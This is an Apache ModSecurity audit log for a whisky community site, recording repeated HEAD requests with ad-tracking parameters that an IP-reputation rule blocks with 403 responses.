[13/Sep/2026:07:23:37.013332 +0300] aqYlSWM7dE9KgIIOpQhhmAAAANg 151.243.174.108 55240 127.0.0.1 7081
--b4651022-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.108
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--b4651022-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--b4651022-E--

--b4651022-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273417006161 7221 (- - -)
Stopwatch2: 1789273417006161 7221; combined=5323, p1=284, p2=4717, p3=69, p4=6, p5=247, sr=94, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--b4651022-Z--

--aefb3951-A--
[13/Sep/2026:07:23:37.372980 +0300] aqYlSWM7dE9KgIIOpQhhmQAAAMI 95.134.102.117 55256 127.0.0.1 7081
--aefb3951-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.117
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--aefb3951-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--aefb3951-E--

--aefb3951-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273417365595 7432 (- - -)
Stopwatch2: 1789273417365595 7432; combined=5008, p1=357, p2=4211, p3=84, p4=8, p5=347, sr=173, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--aefb3951-Z--

--253fe723-A--
[13/Sep/2026:07:23:40.962981 +0300] aqYlTGM7dE9KgIIOpQhhmwAAAM0 95.134.102.227 55290 127.0.0.1 7081
--253fe723-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.227
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--253fe723-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--253fe723-E--

--253fe723-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273420955655 7380 (- - -)
Stopwatch2: 1789273420955655 7380; combined=5554, p1=317, p2=4810, p3=95, p4=9, p5=322, sr=159, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--253fe723-Z--

--0636856a-A--
[13/Sep/2026:07:23:41.332844 +0300] aqYlTUwu1RSkptiiNIXvrAAAAII 151.243.174.20 55306 127.0.0.1 7081
--0636856a-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.20
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--0636856a-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--0636856a-E--

--0636856a-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273421326829 6066 (- - -)
Stopwatch2: 1789273421326829 6066; combined=4535, p1=254, p2=3918, p3=65, p4=7, p5=291, sr=108, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0636856a-Z--

--7e047220-A--
[13/Sep/2026:07:23:41.764583 +0300] aqYlTWM7dE9KgIIOpQhhnAAAAMs 95.134.102.76 55308 127.0.0.1 7081
--7e047220-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_campaignid%3D23994478984%26wbraid%3DCkEKCQjw8JPVBhDhARIwAIiaH1jcRWyFhc-LSfNIgXv-iiBKleqXs7JU6acpwtmk3mmi2KdngnLi9z46wCsiGgI28Q HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.76
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--7e047220-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--7e047220-E--

--7e047220-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273421758589 6064 (- - -)
Stopwatch2: 1789273421758589 6064; combined=4542, p1=228, p2=3981, p3=64, p4=7, p5=262, sr=94, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7e047220-Z--

--d36e1e2f-A--
[13/Sep/2026:07:23:42.827754 +0300] aqYlTmM7dE9KgIIOpQhhngAAANA 151.243.174.103 55328 127.0.0.1 7081
--d36e1e2f-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.103
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--d36e1e2f-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--d36e1e2f-E--

--d36e1e2f-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273422821537 6258 (- - -)
Stopwatch2: 1789273422821537 6258; combined=4672, p1=280, p2=4024, p3=74, p4=7, p5=287, sr=105, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d36e1e2f-Z--

--e35d442c-A--
[13/Sep/2026:07:23:43.188514 +0300] aqYlT0wu1RSkptiiNIXvrQAAAIY 151.243.174.229 55346 127.0.0.1 7081
--e35d442c-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.229
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--e35d442c-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--e35d442c-E--

--e35d442c-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273423182528 6035 (- - -)
Stopwatch2: 1789273423182528 6035; combined=4396, p1=246, p2=3828, p3=71, p4=6, p5=245, sr=86, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e35d442c-Z--

--9015fe3b-A--
[13/Sep/2026:07:23:43.638676 +0300] aqYlT0wu1RSkptiiNIXvrgAAAJI 95.134.102.169 55352 127.0.0.1 7081
--9015fe3b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.169
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--9015fe3b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--9015fe3b-E--

--9015fe3b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273423631522 7200 (- - -)
Stopwatch2: 1789273423631522 7200; combined=5369, p1=364, p2=4631, p3=93, p4=9, p5=272, sr=128, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--9015fe3b-Z--

--27cd8313-A--
[13/Sep/2026:07:23:48.706816 +0300] aqYlVGM7dE9KgIIOpQhhowAAANI 151.243.174.135 46714 127.0.0.1 7081
--27cd8313-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.135
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--27cd8313-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--27cd8313-E--

--27cd8313-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273428699547 7341 (- - -)
Stopwatch2: 1789273428699547 7341; combined=4794, p1=344, p2=4040, p3=69, p4=6, p5=334, sr=100, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--27cd8313-Z--

--d9840939-A--
[13/Sep/2026:07:23:49.080859 +0300] aqYlVTTJ6xTvcJoem7f2YwAAAEY 95.134.102.25 46730 127.0.0.1 7081
--d9840939-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.25
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--d9840939-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--d9840939-E--

--d9840939-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273429073952 6963 (- - -)
Stopwatch2: 1789273429073952 6963; combined=5209, p1=264, p2=4440, p3=86, p4=9, p5=409, sr=119, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--d9840939-Z--

--93f82e77-A--
[13/Sep/2026:07:23:49.468700 +0300] aqYlVWM7dE9KgIIOpQhhpAAAAMQ 95.134.102.135 46738 127.0.0.1 7081
--93f82e77-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.135
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--93f82e77-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--93f82e77-E--

--93f82e77-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273429462200 6541 (- - -)
Stopwatch2: 1789273429462200 6541; combined=4500, p1=219, p2=3903, p3=59, p4=6, p5=313, sr=91, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--93f82e77-Z--

--81ebb72b-A--
[13/Sep/2026:07:24:14.543848 +0300] aqYlbmM7dE9KgIIOpQhhqAAAANc 95.134.102.118 34106 127.0.0.1 7081
--81ebb72b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.118
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--81ebb72b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--81ebb72b-E--

--81ebb72b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273454536959 6968 (- - -)
Stopwatch2: 1789273454536959 6968; combined=4698, p1=290, p2=4039, p3=70, p4=6, p5=293, sr=115, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--81ebb72b-Z--

--66955036-A--
[13/Sep/2026:07:24:14.923712 +0300] aqYlbmM7dE9KgIIOpQhhqQAAANQ 95.134.102.141 34118 127.0.0.1 7081
--66955036-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.141
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--66955036-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--66955036-E--

--66955036-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273454913940 9827 (- - -)
Stopwatch2: 1789273454913940 9827; combined=5931, p1=1667, p2=3913, p3=67, p4=6, p5=278, sr=125, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--66955036-Z--

--acc32444-A--
[13/Sep/2026:07:24:15.312673 +0300] aqYlb2M7dE9KgIIOpQhhqwAAAMg 151.243.174.248 34132 127.0.0.1 7081
--acc32444-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.248
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Linux; Android 7.0; SM-G935F Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.98 Mobile Safari/537.36

--acc32444-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--acc32444-E--

--acc32444-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273455305393 7320 (- - -)
Stopwatch2: 1789273455305393 7320; combined=5548, p1=304, p2=4844, p3=94, p4=9, p5=297, sr=171, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--acc32444-Z--

--1838f20b-A--
[13/Sep/2026:07:24:26.467997 +0300] aqYlejTJ6xTvcJoem7f2ZgAAAFg 151.243.174.181 40228 127.0.0.1 7081
--1838f20b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.181
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--1838f20b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--1838f20b-E--

--1838f20b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273466462044 6006 (- - -)
Stopwatch2: 1789273466462044 6006; combined=4427, p1=220, p2=3844, p3=83, p4=8, p5=272, sr=97, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--1838f20b-Z--

--a8b05f2b-A--
[13/Sep/2026:07:24:26.572095 +0300] aqYleisVWymXUono-eRRNwAAAA0 95.134.102.153 40236 127.0.0.1 7081
--a8b05f2b-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.153
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--a8b05f2b-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--a8b05f2b-E--

--a8b05f2b-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273466565995 6160 (- - -)
Stopwatch2: 1789273466565995 6160; combined=4574, p1=261, p2=3887, p3=64, p4=7, p5=355, sr=122, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a8b05f2b-Z--

--fcb41a42-A--
[13/Sep/2026:07:24:26.949300 +0300] aqYlemM7dE9KgIIOpQhhrQAAAMY 95.134.102.154 40244 127.0.0.1 7081
--fcb41a42-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.154
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--fcb41a42-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--fcb41a42-E--

--fcb41a42-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273466939234 10191 (- - -)
Stopwatch2: 1789273466939234 10191; combined=7578, p1=437, p2=6449, p3=91, p4=10, p5=591, sr=173, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fcb41a42-Z--

--e0ba8e23-A--
[13/Sep/2026:07:24:27.828096 +0300] aqYle0wu1RSkptiiNIXvsgAAAIU 151.243.174.229 40272 127.0.0.1 7081
--e0ba8e23-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 151.243.174.229
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--e0ba8e23-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--e0ba8e23-E--

--e0ba8e23-H--
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "mod_rewrite.c"] [line 4361] [level 3] AH: Unsafe URL with %3f URL rewritten without UnsafeAllow3F
Stopwatch: 1789273467822331 5804 (- - -)
Stopwatch2: 1789273467822331 5804; combined=4335, p1=278, p2=3670, p3=95, p4=7, p5=284, sr=108, sw=1, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e0ba8e23-Z--

--3ca60241-A--
[13/Sep/2026:07:24:28.211207 +0300] aqYlfCsVWymXUono-eRROAAAABE 95.134.102.152 40286 127.0.0.1 7081
--3ca60241-B--
HEAD /ro%3Futm_source%3Dgoogle_display_ads%26utm_medium%3Dcpc%26utm_campaign%3Dsinglemaltcommunity%26gad_source%3D5%26gad_campaignid%3D23994478984 HTTP/1.1
Host: singlemaltcommunity.com
X-Real-IP: 95.134.102.152
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1

--3ca60241-F--
HTTP/1.1 403 Forbidden
Content-Type: text/html; charset=iso-8859-1

--3ca60241-E--

--3ca60241-H--
